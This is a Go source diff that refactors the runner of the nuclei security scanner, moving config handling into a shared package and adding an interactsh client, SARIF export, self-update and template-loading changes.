-			// search in dns - http - smtp
-			b.RLock()
-			found := strings.Contains(r.Responses[i].Data.RawRequestDecoded, s) ||
-				strings.Contains(r.Responses[i].Data.RequestDecoded, s) ||
-				strings.Contains(r.Responses[i].Data.MessageDecoded, s)
-			b.RUnlock()
-
-			if found {
-				b.Lock()
-				r.Responses = append(r.Responses[:i], r.Responses[i+1:]...)
-				b.Unlock()
-				return true
-			}
-		}
-	}
-	return false
-}

v2/internal/runner/banner.go

@@ -1,17 +1,19 @@
 package runner
 
-import "github.com/projectdiscovery/gologger"
+import (
+	"fmt"
 
-const banner = `
-                       __     _
-     ____  __  _______/ /__  (_)
-    / __ \/ / / / ___/ / _ \/ /
-   / / / / /_/ / /__/ /  __/ /
-  /_/ /_/\__,_/\___/_/\___/_/   v2.3.2
-`
+	"github.com/projectdiscovery/gologger"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
+)
 
-// Version is the current version of nuclei
-const Version = `2.3.2`
+var banner = fmt.Sprintf(`
+                     __     _
+   ____  __  _______/ /__  (_)
+  / __ \/ / / / ___/ / _ \/ /
+ / / / / /_/ / /__/ /  __/ /
+/_/ /_/\__,_/\___/_/\___/_/   %s
+`, config.Version)
 
 // showBanner is used to show the banner to the user
 func showBanner() {

v2/internal/runner/config.go

@@ -1,130 +1 @@
 package runner
-
-import (
-	"bufio"
-	"os"
-	"path"
-	"regexp"
-	"strings"
-	"time"
-
-	jsoniter "github.com/json-iterator/go"
-)
-
-// nucleiConfig contains some configuration options for nuclei
-type nucleiConfig struct {
-	TemplatesDirectory string    `json:"templates-directory,omitempty"`
-	CurrentVersion     string    `json:"current-version,omitempty"`
-	LastChecked        time.Time `json:"last-checked,omitempty"`
-	IgnoreURL          string    `json:"ignore-url,omitempty"`
-	NucleiVersion      string    `json:"nuclei-version,omitempty"`
-	LastCheckedIgnore  time.Time `json:"last-checked-ignore,omitempty"`
-	// IgnorePaths ignores all the paths listed unless specified manually
-	IgnorePaths []string `json:"ignore-paths,omitempty"`
-}
-
-// nucleiConfigFilename is the filename of nuclei configuration file.
-const nucleiConfigFilename = ".templates-config.json"
-
-var reVersion = regexp.MustCompile(`\d+\.\d+\.\d+`)
-
-// readConfiguration reads the nuclei configuration file from disk.
-func readConfiguration() (*nucleiConfig, error) {
-	home, err := os.UserHomeDir()
-	if err != nil {
-		return nil, err
-	}
-	configDir := path.Join(home, "/.config", "/nuclei")
-	_ = os.MkdirAll(configDir, os.ModePerm)
-
-	templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
-	file, err := os.Open(templatesConfigFile)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	config := &nucleiConfig{}
-	err = jsoniter.NewDecoder(file).Decode(config)
-	if err != nil {
-		return nil, err
-	}
-	return config, nil
-}
-
-// readConfiguration reads the nuclei configuration file from disk.
-func (r *Runner) writeConfiguration(config *nucleiConfig) error {
-	home, err := os.UserHomeDir()
-	if err != nil {
-		return err
-	}
-	configDir := path.Join(home, "/.config", "/nuclei")
-	_ = os.MkdirAll(configDir, os.ModePerm)
-
-	if config.IgnoreURL == "" {
-		config.IgnoreURL = "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/.nuclei-ignore"
-	}
-	config.LastChecked = time.Now()
-	config.LastCheckedIgnore = time.Now()
-	config.NucleiVersion = Version
-	templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
-	file, err := os.OpenFile(templatesConfigFile, os.O_WRONLY|os.O_CREATE, 0777)
-	if err != nil {
-		return err
-	}
-	defer file.Close()
-
-	err = jsoniter.NewEncoder(file).Encode(config)
-	if err != nil {
-		return err
-	}
-	return nil
-}
-
-const nucleiIgnoreFile = ".nuclei-ignore"
-
-// readNucleiIgnoreFile reads the nuclei ignore file marking it in map
-func (r *Runner) readNucleiIgnoreFile() {
-	file, err := os.Open(r.getIgnoreFilePath())
-	if err != nil {
-		return
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	for scanner.Scan() {
-		text := scanner.Text()
-		if text == "" {
-			continue
-		}
-		if strings.HasPrefix(text, "#") {
-			continue
-		}
-		r.templatesConfig.IgnorePaths = append(r.templatesConfig.IgnorePaths, text)
-	}
-}
-
-// getIgnoreFilePath returns the ignore file path for the runner
-func (r *Runner) getIgnoreFilePath() string {
-	var defIgnoreFilePath string
-
-	home, err := os.UserHomeDir()
-	if err == nil {
-		configDir := path.Join(home, "/.config", "/nuclei")
-		_ = os.MkdirAll(configDir, os.ModePerm)
-
-		defIgnoreFilePath = path.Join(configDir, nucleiIgnoreFile)
-	}
-
-	cwd, err := os.Getwd()
-	if err != nil {
-		return defIgnoreFilePath
-	}
-	cwdIgnoreFilePath := path.Join(cwd, nucleiIgnoreFile)
-
-	cwdIfpInfo, err := os.Stat(cwdIgnoreFilePath)
-	if os.IsNotExist(err) || cwdIfpInfo.IsDir() {
-		return defIgnoreFilePath
-	}
-	return cwdIgnoreFilePath
-}

v2/internal/runner/options.go

@@ -10,6 +10,7 @@ import (
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/gologger/formatter"
 	"github.com/projectdiscovery/gologger/levels"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 )
@@ -25,17 +26,16 @@ func ParseOptions(options *types.Options) {
 	// Show the user the banner
 	showBanner()
 
-	options.ExcludeTags = append(options.ExcludeTags, "dos")
 	if options.Version {
-		gologger.Info().Msgf("Current Version: %s\n", Version)
+		gologger.Info().Msgf("Current Version: %s\n", config.Version)
 		os.Exit(0)
 	}
 	if options.TemplatesVersion {
-		config, err := readConfiguration()
+		configuration, err := config.ReadConfiguration()
 		if err != nil {
 			gologger.Fatal().Msgf("Could not read template configuration: %s\n", err)
 		}
-		gologger.Info().Msgf("Current nuclei-templates version: %s (%s)\n", config.CurrentVersion, config.TemplatesDirectory)
+		gologger.Info().Msgf("Current nuclei-templates version: %s (%s)\n", configuration.CurrentVersion, configuration.TemplatesDirectory)
 		os.Exit(0)
 	}
 
@@ -81,13 +81,6 @@ func validateOptions(options *types.Options) error {
 		return errors.New("both verbose and silent mode specified")
 	}
 
-	if !options.TemplateList {
-		// Check if a list of templates was provided and it exists
-		if len(options.Templates) == 0 && !options.NewTemplates && len(options.Workflows) == 0 && len(options.Tags) == 0 && !options.UpdateTemplates {
-			return errors.New("no template/templates provided")
-		}
-	}
-
 	// Validate proxy options if provided
 	err := validateProxyURL(options.ProxyURL, "invalid http proxy format (It should be http://username:password@host:port)")
 	if err != nil {

v2/internal/runner/runner.go

@@ -6,21 +6,27 @@ import (
 	"os"
 	"path"
 	"strings"
+	"time"
 
 	"github.com/logrusorgru/aurora"
+	"github.com/pkg/errors"
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/hmap/store/hybrid"
-	"github.com/projectdiscovery/nuclei/v2/internal/collaborator"
 	"github.com/projectdiscovery/nuclei/v2/internal/colorizer"
 	"github.com/projectdiscovery/nuclei/v2/pkg/catalog"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader"
 	"github.com/projectdiscovery/nuclei/v2/pkg/output"
 	"github.com/projectdiscovery/nuclei/v2/pkg/progress"
 	"github.com/projectdiscovery/nuclei/v2/pkg/projectfile"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/clusterer"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting"
 	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/exporters/disk"
+	"github.com/projectdiscovery/nuclei/v2/pkg/reporting/exporters/sarif"
 	"github.com/projectdiscovery/nuclei/v2/pkg/templates"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 	"github.com/remeh/sizedwaitgroup"
@@ -34,8 +40,9 @@ import (
 type Runner struct {
 	hostMap         *hybrid.HybridMap
 	output          output.Writer
+	interactsh      *interactsh.Client
 	inputCount      int64
-	templatesConfig *nucleiConfig
+	templatesConfig *config.Config
 	options         *types.Options
 	projectFile     *projectfile.ProjectFile
 	catalog         *catalog.Catalog
@@ -52,6 +59,15 @@ func New(options *types.Options) (*Runner, error) {
 	runner := &Runner{
 		options: options,
 	}
+	if options.UpdateNuclei {
+		if err := updateNucleiVersionToLatest(runner.options.Verbose); err != nil {
+			return nil, err
+		}
+		return nil, nil
+	}
+	if err := runner.updateTemplates(); err != nil {
+		gologger.Warning().Msgf("Could not update templates: %s\n", err)
+	}
 	if options.Headless {
 		browser, err := engine.New(options)
 		if err != nil {
@@ -59,26 +75,19 @@ func New(options *types.Options) (*Runner, error) {
 		}
 		runner.browser = browser
 	}
-	if err := runner.updateTemplates(); err != nil {
-		gologger.Warning().Msgf("Could not update templates: %s\n", err)
-	}
-	// Read nucleiignore file if given a templateconfig
-	if runner.templatesConfig != nil {
-		runner.readNucleiIgnoreFile()
-	}
-	runner.catalog = catalog.New(runner.options.TemplatesDirectory)
 
+	runner.catalog = catalog.New(runner.options.TemplatesDirectory)
 	var reportingOptions *reporting.Options
 	if options.ReportingConfig != "" {
 		file, err := os.Open(options.ReportingConfig)
 		if err != nil {
-			gologger.Fatal().Msgf("Could not open reporting config file: %s\n", err)
+			return nil, errors.Wrap(err, "could not open reporting config file")
 		}
 
 		reportingOptions = &reporting.Options{}
 		if parseErr := yaml.NewDecoder(file).Decode(reportingOptions); parseErr != nil {
 			file.Close()
-			gologger.Fatal().Msgf("Could not parse reporting config file: %s\n", parseErr)
+			return nil, errors.Wrap(parseErr, "could not parse reporting config file")
 		}
 		file.Close()
 	}
@@ -90,13 +99,21 @@ func New(options *types.Options) (*Runner, error) {
 			reportingOptions.DiskExporter = &disk.Options{Directory: options.DiskExportDirectory}
 		}
 	}
-	if reportingOptions != nil {
-		if client, err := reporting.New(reportingOptions, options.ReportingDB); err != nil {
-			gologger.Fatal().Msgf("Could not create issue reporting client: %s\n", err)
+	if options.SarifExport != "" {
+		if reportingOptions != nil {
+			reportingOptions.SarifExporter = &sarif.Options{File: options.SarifExport}
 		} else {
-			runner.issuesClient = client
+			reportingOptions = &reporting.Options{}
+			reportingOptions.SarifExporter = &sarif.Options{File: options.SarifExport}
 		}
 	}
+	if reportingOptions != nil {
+		client, err := reporting.New(reportingOptions, options.ReportingDB)
+		if err != nil {
+			return nil, errors.Wrap(err, "could not create issue reporting client")
+		}
+		runner.issuesClient = client
+	}
 
 	// output coloring
 	useColor := !options.NoColor
@@ -111,11 +128,11 @@ func New(options *types.Options) (*Runner, error) {
 	if (len(options.Templates) == 0 || !options.NewTemplates || (options.Targets == "" && !options.Stdin && options.Target == "")) && options.UpdateTemplates {
 		os.Exit(0)
 	}
-	if hm, err := hybrid.New(hybrid.DefaultDiskOptions); err != nil {
-		gologger.Fatal().Msgf("Could not create temporary input file: %s\n", err)
-	} else {
-		runner.hostMap = hm
+	hm, err := hybrid.New(hybrid.DefaultDiskOptions)
+	if err != nil {
+		return nil, errors.Wrap(err, "could not create temporary input file")
 	}
+	runner.hostMap = hm
 
 	runner.inputCount = 0
 	dupeCount := 0
@@ -147,9 +164,9 @@ func New(options *types.Options) (*Runner, error) {
 
 	// Handle taget file
 	if options.Targets != "" {
-		input, err := os.Open(options.Targets)
-		if err != nil {
-			gologger.Fatal().Msgf("Could not open targets file '%s': %s\n", options.Targets, err)
+		input, inputErr := os.Open(options.Targets)
+		if inputErr != nil {
+			return nil, errors.Wrap(inputErr, "could not open targets file")
 		}
 		scanner := bufio.NewScanner(input)
 		for scanner.Scan() {
@@ -175,13 +192,19 @@ func New(options *types.Options) (*Runner, error) {
 	// Create the output file if asked
 	outputWriter, err := output.NewStandardWriter(!options.NoColor, options.NoMeta, options.JSON, options.Output, options.TraceLogFile)
 	if err != nil {
-		gologger.Fatal().Msgf("Could not create output file '%s': %s\n", options.Output, err)
+		return nil, errors.Wrap(err, "could not create output file")
 	}
 	runner.output = outputWriter
 
+	if options.JSON && options.EnableProgressBar {
+		options.StatsJSON = true
+	}
+	if options.StatsJSON {
+		options.EnableProgressBar = true
+	}
 	// Creates the progress tracking object
 	var progressErr error
-	runner.progress, progressErr = progress.NewStatsTicker(options.StatsInterval, options.EnableProgressBar, options.Metrics, options.MetricsPort)
+	runner.progress, progressErr = progress.NewStatsTicker(options.StatsInterval, options.EnableProgressBar, options.StatsJSON, options.Metrics, options.MetricsPort)
 	if progressErr != nil {
 		return nil, progressErr
 	}
@@ -195,9 +218,22 @@ func New(options *types.Options) (*Runner, error) {
 		}
 	}
 
-	// Enable Polling
-	if options.BurpCollaboratorBiid != "" {
-		collaborator.DefaultCollaborator.Collab.AddBIID(options.BurpCollaboratorBiid)
+	if !options.NoInteractsh {
+		interactshClient, err := interactsh.New(&interactsh.Options{
+			ServerURL:      options.InteractshURL,
+			CacheSize:      int64(options.InteractionsCacheSize),
+			Eviction:       time.Duration(options.InteractionsEviction) * time.Second,
+			ColldownPeriod: time.Duration(options.InteractionsColldownPeriod) * time.Second,
+			PollDuration:   time.Duration(options.InteractionsPollDuration) * time.Second,
+			Output:         runner.output,
+			IssuesClient:   runner.issuesClient,
+			Progress:       runner.progress,
+		})
+		if err != nil {
+			gologger.Error().Msgf("Could not create interactsh client: %s", err)
+		} else {
+			runner.interactsh = interactshClient
+		}
 	}
 
 	if options.RateLimit > 0 {
@@ -217,55 +253,112 @@ func (r *Runner) Close() {
 	if r.projectFile != nil {
 		r.projectFile.Close()
 	}
+	protocolinit.Close()
 }
 
 // RunEnumeration sets up the input layer for giving input nuclei.
 // binary and runs the actual enumeration
-func (r *Runner) RunEnumeration() {
+func (r *Runner) RunEnumeration() error {
 	defer r.Close()
 
-	// If we have no templates, run on whole template directory with provided tags
-	if len(r.options.Templates) == 0 && len(r.options.Workflows) == 0 && !r.options.NewTemplates && (len(r.options.Tags) > 0 || len(r.options.ExcludeTags) > 0) {
-		r.options.Templates = append(r.options.Templates, r.options.TemplatesDirectory)
-	}
+	// If user asked for new templates to be executed, collect the list from template directory.
 	if r.options.NewTemplates {
 		templatesLoaded, err := r.readNewTemplatesFile()
 		if err != nil {
-			gologger.Warning().Msgf("Could not get newly added templates: %s\n", err)
+			return errors.Wrap(err, "could not get newly added templates")
 		}
 		r.options.Templates = append(r.options.Templates, templatesLoaded...)
 	}
-	includedTemplates := r.catalog.GetTemplatesPath(r.options.Templates)
-	excludedTemplates := r.catalog.GetTemplatesPath(r.options.ExcludedTemplates)
-	// defaults to all templates
-	allTemplates := includedTemplates
+	ignoreFile := config.ReadIgnoreFile()
+	r.options.ExcludeTags = append(r.options.ExcludeTags, ignoreFile.Tags...)
+	r.options.ExcludedTemplates = append(r.options.ExcludedTemplates, ignoreFile.Files...)
 
-	if len(excludedTemplates) > 0 {
-		excludedMap := make(map[string]struct{}, len(excludedTemplates))
-		for _, excl := range excludedTemplates {
-			excludedMap[excl] = struct{}{}
+	executerOpts := protocols.ExecuterOptions{
+		Output:       r.output,
+		Options:      r.options,
+		Progress:     r.progress,
+		Catalog:      r.catalog,
+		IssuesClient: r.issuesClient,
+		RateLimiter:  r.ratelimiter,
+		Interactsh:   r.interactsh,
+		ProjectFile:  r.projectFile,
+		Browser:      r.browser,
+	}
+	loaderConfig := loader.Config{
+		Templates:          r.options.Templates,
+		Workflows:          r.options.Workflows,
+		ExcludeTemplates:   r.options.ExcludedTemplates,
+		Tags:               r.options.Tags,
+		ExcludeTags:        r.options.ExcludeTags,
+		IncludeTemplates:   r.options.IncludeTemplates,
+		Authors:            r.options.Author,
+		Severities:         r.options.Severity,
+		IncludeTags:        r.options.IncludeTags,
+		TemplatesDirectory: r.options.TemplatesDirectory,
+		Catalog:            r.catalog,
+		ExecutorOptions:    executerOpts,
+	}
+	store, err := loader.New(&loaderConfig)
+	if err != nil {
+		return errors.Wrap(err, "could not load templates from config")
+	}
+	if r.options.Validate {
+		if !store.ValidateTemplates(r.options.Templates, r.options.Workflows) {
+			return errors.New("an error occurred during templates validation")
 		}
-		// rebuild list with only non-excluded templates
-		allTemplates = []string{}
+		gologger.Info().Msgf("All templates validated successfully\n")
+		return nil // exit
+	}
+	store.Load()
 
-		for _, incl := range includedTemplates {
-			if _, found := excludedMap[incl]; !found {
-				allTemplates = append(allTemplates, incl)
-			} else {
-				gologger.Warning().Msgf("Excluding '%s'", incl)
-			}
+	builder := &strings.Builder{}
+	if r.templatesConfig != nil && r.templatesConfig.NucleiLatestVersion != "" {
+		builder.WriteString(" (")
+
+		if strings.Contains(config.Version, "-dev") {
+			builder.WriteString(r.colorizer.Blue("development").String())
+		} else if config.Version == r.templatesConfig.NucleiLatestVersion {
+			builder.WriteString(r.colorizer.Green("latest").String())
+		} else {
+			builder.WriteString(r.colorizer.Red("outdated").String())
 		}
+		builder.WriteString(")")
+	}
+	messageStr := builder.String()
+	builder.Reset()
+
+	gologger.Info().Msgf("Using Nuclei Engine %s%s", config.Version, messageStr)
+
+	if r.templatesConfig != nil && r.templatesConfig.NucleiTemplatesLatestVersion != "" {
+		builder.WriteString(" (")
+
+		if r.templatesConfig.CurrentVersion == r.templatesConfig.NucleiTemplatesLatestVersion {
+			builder.WriteString(r.colorizer.Green("latest").String())
+		} else {
+			builder.WriteString(r.colorizer.Red("outdated").String())
+		}
+		builder.WriteString(")")
+	}
+	messageStr = builder.String()
+	builder.Reset()
+
+	gologger.Info().Msgf("Using Nuclei Templates %s%s", r.templatesConfig.CurrentVersion, messageStr)
+
+	if r.interactsh != nil {
+		gologger.Info().Msgf("Using Interactsh Server %s", r.options.InteractshURL)
+	}
+	if len(store.Templates()) > 0 {
+		gologger.Info().Msgf("Templates loaded: %d (New: %d)", len(store.Templates()), r.countNewTemplates())
+	}
+	if len(store.Workflows()) > 0 {
+		gologger.Info().Msgf("Workflows loaded: %d", len(store.Workflows()))
 	}
 
 	// pre-parse all the templates, apply filters
 	finalTemplates := []*templates.Template{}
 
-	workflowPaths := r.catalog.GetTemplatesPath(r.options.Workflows)
-	availableTemplates, _ := r.getParsedTemplatesFor(allTemplates, r.options.Severity, false)
-	availableWorkflows, workflowCount := r.getParsedTemplatesFor(workflowPaths, r.options.Severity, true)
-
-	var unclusteredRequests int64 = 0
-	for _, template := range availableTemplates {
+	var unclusteredRequests int64
+	for _, template := range store.Templates() {
 		// workflows will dynamically adjust the totals while running, as
 		// it can't be know in advance which requests will be called
 		if len(template.Workflows) > 0 {
@@ -274,9 +367,21 @@ func (r *Runner) RunEnumeration() {
 		unclusteredRequests += int64(template.TotalRequests) * r.inputCount
 	}
 
-	originalTemplatesCount := len(availableTemplates)
+	if r.options.VerboseVerbose {
+		for _, template := range store.Templates() {
+			r.logAvailableTemplate(template.Path)
+		}
+		for _, template := range store.Workflows() {
+			r.logAvailableTemplate(template.Path)
+		}
+	}
+	templatesMap := make(map[string]*templates.Template)
+	for _, v := range store.Templates() {
+		templatesMap[v.ID] = v
+	}
+	originalTemplatesCount := len(store.Templates())
 	clusterCount := 0
-	clusters := clusterer.Cluster(availableTemplates)
+	clusters := clusterer.Cluster(templatesMap)
 	for _, cluster := range clusters {
 		if len(cluster) > 1 && !r.options.OfflineHTTP {
 			executerOpts := protocols.ExecuterOptions{
@@ -288,6 +393,7 @@ func (r *Runner) RunEnumeration() {
 				IssuesClient: r.issuesClient,
 				Browser:      r.browser,
 				ProjectFile:  r.projectFile,
+				Interactsh:   r.interactsh,
 			}
 			clusterID := fmt.Sprintf("cluster-%s", xid.New().String())
 
@@ -302,11 +408,9 @@ func (r *Runner) RunEnumeration() {
 			finalTemplates = append(finalTemplates, cluster...)
 		}
 	}
-	for _, workflows := range availableWorkflows {
-		finalTemplates = append(finalTemplates, workflows)
-	}
+	finalTemplates = append(finalTemplates, store.Workflows()...)
 
-	var totalRequests int64 = 0
+	var totalRequests int64
 	for _, t := range finalTemplates {
 		if len(t.Workflows) > 0 {
 			continue
@@ -314,24 +418,18 @@ func (r *Runner) RunEnumeration() {
 		totalRequests += int64(t.TotalRequests) * r.inputCount
 	}
 	if totalRequests < unclusteredRequests {
-		gologger.Info().Msgf("Reduced %d requests to %d (%d templates clustered)", unclusteredRequests, totalRequests, clusterCount)
+		gologger.Info().Msgf("Templates clustered: %d (Reduced %d HTTP Requests)", clusterCount, unclusteredRequests-totalRequests)
 	}
-	templateCount := originalTemplatesCount + len(availableWorkflows)
+	workflowCount := len(store.Workflows())
+	templateCount := originalTemplatesCount + workflowCount
 
 	// 0 matches means no templates were found in directory
 	if templateCount == 0 {
-		gologger.Fatal().Msgf("Error, no templates were found.\n")
+		return errors.New("no templates were found")
 	}
 
-	gologger.Info().Msgf("Using %s rules (%s templates, %s workflows)",
-		r.colorizer.Bold(templateCount).String(),
-		r.colorizer.Bold(templateCount-workflowCount).String(),
-		r.colorizer.Bold(workflowCount).String())
-
 	results := &atomic.Bool{}
 	wgtemplates := sizedwaitgroup.New(r.options.TemplateThreads)
-	// Starts polling or ignore
-	collaborator.DefaultCollaborator.Poll()
 
 	// tracks global progress and captures stdout/stderr until p.Wait finishes
 	r.progress.Init(r.inputCount, templateCount, totalRequests)
@@ -349,22 +447,25 @@ func (r *Runner) RunEnumeration() {
 		}(t)
 	}
 	wgtemplates.Wait()
+
+	if r.interactsh != nil {
+		matched := r.interactsh.Close()
+		if matched {
+			results.CAS(false, true)
+		}
+	}
 	r.progress.Stop()
 
 	if r.issuesClient != nil {
 		r.issuesClient.Close()
 	}
 	if !results.Load() {
-		if r.output != nil {
-			r.output.Close()
-			os.Remove(r.options.Output)
-		}
 		gologger.Info().Msgf("No results found. Better luck next time!")
 	}
-
 	if r.browser != nil {
 		r.browser.Close()
 	}
+	return nil
 }
 
 // readNewTemplatesFile reads newly added templates from directory if it exists
@@ -387,3 +488,24 @@ func (r *Runner) readNewTemplatesFile() ([]string, error) {
 	}
 	return templatesList, nil
 }
+
+// readNewTemplatesFile reads newly added templates from directory if it exists
+func (r *Runner) countNewTemplates() int {
+	additionsFile := path.Join(r.templatesConfig.TemplatesDirectory, ".new-additions")
+	file, err := os.Open(additionsFile)
+	if err != nil {
+		return 0
+	}
+	defer file.Close()
+
+	count := 0
+	scanner := bufio.NewScanner(file)
+	for scanner.Scan() {
+		text := scanner.Text()
+		if text == "" {
+			continue
+		}
+		count++
+	}
+	return count
+}

v2/internal/runner/templates.go

@@ -1,76 +1,36 @@
 package runner
 
 import (
+	"bytes"
 	"fmt"
+	"io/ioutil"
 	"os"
 	"strings"
 
 	"github.com/karrick/godirwalk"
 	"github.com/projectdiscovery/gologger"
-	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
 	"github.com/projectdiscovery/nuclei/v2/pkg/templates"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
+	"gopkg.in/yaml.v2"
 )
 
-// getParsedTemplatesFor parse the specified templates and returns a slice of the parsable ones, optionally filtered
-// by severity, along with a flag indicating if workflows are present.
-func (r *Runner) getParsedTemplatesFor(templatePaths, severities []string, workflows bool) (parsedTemplates map[string]*templates.Template, workflowCount int) {
-	filterBySeverity := len(severities) > 0
-
-	if !workflows {
-		gologger.Info().Msgf("Loading templates...")
-	} else {
-		gologger.Info().Msgf("Loading workflows...")
-	}
-
-	parsedTemplates = make(map[string]*templates.Template)
-	for _, match := range templatePaths {
-		t, err := r.parseTemplateFile(match)
-		if err != nil {
-			gologger.Warning().Msgf("Could not parse file '%s': %s\n", match, err)
-			continue
-		}
-		if t == nil {
-			continue
-		}
-		if len(t.Workflows) == 0 && workflows {
-			continue // don't print if user only wants to run workflows
-		}
-		if len(t.Workflows) > 0 && !workflows {
-			continue // don't print workflow if user only wants to run templates
-		}
-		if len(t.Workflows) > 0 {
-			workflowCount++
-		}
-		sev := strings.ToLower(types.ToString(t.Info["severity"]))
-		if !filterBySeverity || hasMatchingSeverity(sev, severities) {
-			parsedTemplates[t.ID] = t
-			gologger.Info().Msgf("%s\n", r.templateLogMsg(t.ID, types.ToString(t.Info["name"]), types.ToString(t.Info["author"]), sev))
-		} else {
-			gologger.Warning().Msgf("Excluding template %s due to severity filter (%s not in [%s])", t.ID, sev, severities)
-		}
-	}
-	return parsedTemplates, workflowCount
-}
-
 // parseTemplateFile returns the parsed template file
 func (r *Runner) parseTemplateFile(file string) (*templates.Template, error) {
-	executerOpts := protocols.ExecuterOptions{
-		Output:       r.output,
-		Options:      r.options,
-		Progress:     r.progress,
-		Catalog:      r.catalog,
-		IssuesClient: r.issuesClient,
-		RateLimiter:  r.ratelimiter,
-		ProjectFile:  r.projectFile,
-		Browser:      r.browser,
-	}
-	template, err := templates.Parse(file, executerOpts)
+	f, err := os.Open(file)
 	if err != nil {
 		return nil, err
 	}
-	if template == nil {
-		return nil, nil
+	defer f.Close()
+
+	data, err := ioutil.ReadAll(f)
+	if err != nil {
+		return nil, err
+	}
+
+	template := &templates.Template{}
+	err = yaml.NewDecoder(bytes.NewReader(data)).Decode(template)
+	if err != nil {
+		return nil, err
 	}
 	return template, nil
 }
@@ -80,19 +40,42 @@ func (r *Runner) templateLogMsg(id, name, author, severity string) string {
 	message := fmt.Sprintf("[%s] %s (%s)",
 		r.colorizer.BrightBlue(id).String(),
 		r.colorizer.Bold(name).String(),
-		r.colorizer.BrightYellow("@"+author).String())
+		r.colorizer.BrightYellow(appendAtSignToAuthors(author)).String())
 	if severity != "" {
 		message += " [" + r.severityColors.Data[severity] + "]"
 	}
 	return message
 }
 
+// appendAtSignToAuthors appends @ before each author and returns final string
+func appendAtSignToAuthors(author string) string {
+	authors := strings.Split(author, ",")
+	if len(authors) == 0 {
+		return "@none"
+	}
+	if len(authors) == 1 {
+		if !strings.HasPrefix(authors[0], "@") {
+			return fmt.Sprintf("@%s", authors[0])
+		}
+		return authors[0]
+	}
+	values := make([]string, 0, len(authors))
+	for _, k := range authors {
+		if !strings.HasPrefix(authors[0], "@") {
+			values = append(values, fmt.Sprintf("@%s", k))
+		} else {
+			values = append(values, k)
+		}
+	}
+	return strings.Join(values, ",")
+}
+
 func (r *Runner) logAvailableTemplate(tplPath string) {
 	t, err := r.parseTemplateFile(tplPath)
 	if err != nil {
 		gologger.Error().Msgf("Could not parse file '%s': %s\n", tplPath, err)
 	} else {
-		gologger.Print().Msgf("%s\n", r.templateLogMsg(t.ID, types.ToString(t.Info["name"]), types.ToString(t.Info["author"]), types.ToString(t.Info["severity"])))
+		gologger.Info().Msgf("%s\n", r.templateLogMsg(t.ID, types.ToString(t.Info["name"]), types.ToString(t.Info["author"]), types.ToString(t.Info["severity"])))
 	}
 }
 
@@ -129,38 +112,12 @@ func (r *Runner) listAvailableTemplates() {
 	}
 }
 
-func hasMatchingSeverity(templateSeverity string, allowedSeverities []string) bool {
-	for _, s := range allowedSeverities {
-		finalSeverities := []string{}
-		if strings.Contains(s, ",") {
-			finalSeverities = strings.Split(s, ",")
-		} else {
-			finalSeverities = append(finalSeverities, s)
-		}
-
-		for _, sev := range finalSeverities {
-			sev = strings.ToLower(sev)
-			if sev != "" && strings.HasPrefix(templateSeverity, sev) {
-				return true
-			}
-		}
-	}
-	return false
-}
-
 func directoryWalker(fsPath string, callback func(fsPath string, d *godirwalk.Dirent) error) error {
-	err := godirwalk.Walk(fsPath, &godirwalk.Options{
+	return godirwalk.Walk(fsPath, &godirwalk.Options{
 		Callback: callback,
 		ErrorCallback: func(fsPath string, err error) godirwalk.ErrorAction {
 			return godirwalk.SkipNode
 		},
 		Unsorted: true,
 	})
-
-	// directory couldn't be walked
-	if err != nil {
-		return err
-	}
-
-	return nil
 }

v2/internal/runner/update.go

@@ -7,6 +7,7 @@ import (
 	"context"
 	"crypto/md5"
 	"encoding/hex"
+	"encoding/json"
 	"fmt"
 	"io"
 	"io/ioutil"
@@ -14,15 +15,23 @@ import (
 	"os"
 	"path"
 	"path/filepath"
+	"regexp"
+	"runtime"
 	"strconv"
 	"strings"
 	"time"
 
+	"github.com/apex/log"
 	"github.com/blang/semver"
-	"github.com/google/go-github/v32/github"
+	"github.com/google/go-github/github"
 	"github.com/olekukonko/tablewriter"
 	"github.com/pkg/errors"
 	"github.com/projectdiscovery/gologger"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
+
+	"github.com/tj/go-update"
+	"github.com/tj/go-update/progress"
+	githubUpdateStore "github.com/tj/go-update/stores/github"
 )
 
 const (
@@ -30,6 +39,13 @@ const (
 	repoName = "nuclei-templates"
 )
 
+const nucleiIgnoreFile = ".nuclei-ignore"
+
+// nucleiConfigFilename is the filename of nuclei configuration file.
+const nucleiConfigFilename = ".templates-config.json"
+
+var reVersion = regexp.MustCompile(`\d+\.\d+\.\d+`)
+
 // updateTemplates checks if the default list of nuclei-templates
 // exist in the users home directory, if not the latest revision
 // is downloaded from github.
@@ -44,35 +60,46 @@ func (r *Runner) updateTemplates() error {
 	configDir := path.Join(home, "/.config", "/nuclei")
 	_ = os.MkdirAll(configDir, os.ModePerm)
 
-	templatesConfigFile := path.Join(home, nucleiConfigFilename)
+	templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
 	if _, statErr := os.Stat(templatesConfigFile); !os.IsNotExist(statErr) {
-		config, readErr := readConfiguration()
+		configuration, readErr := config.ReadConfiguration()
 		if err != nil {
 			return readErr
 		}
-		r.templatesConfig = config
+		r.templatesConfig = configuration
 	}
 
 	ignoreURL := "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/.nuclei-ignore"
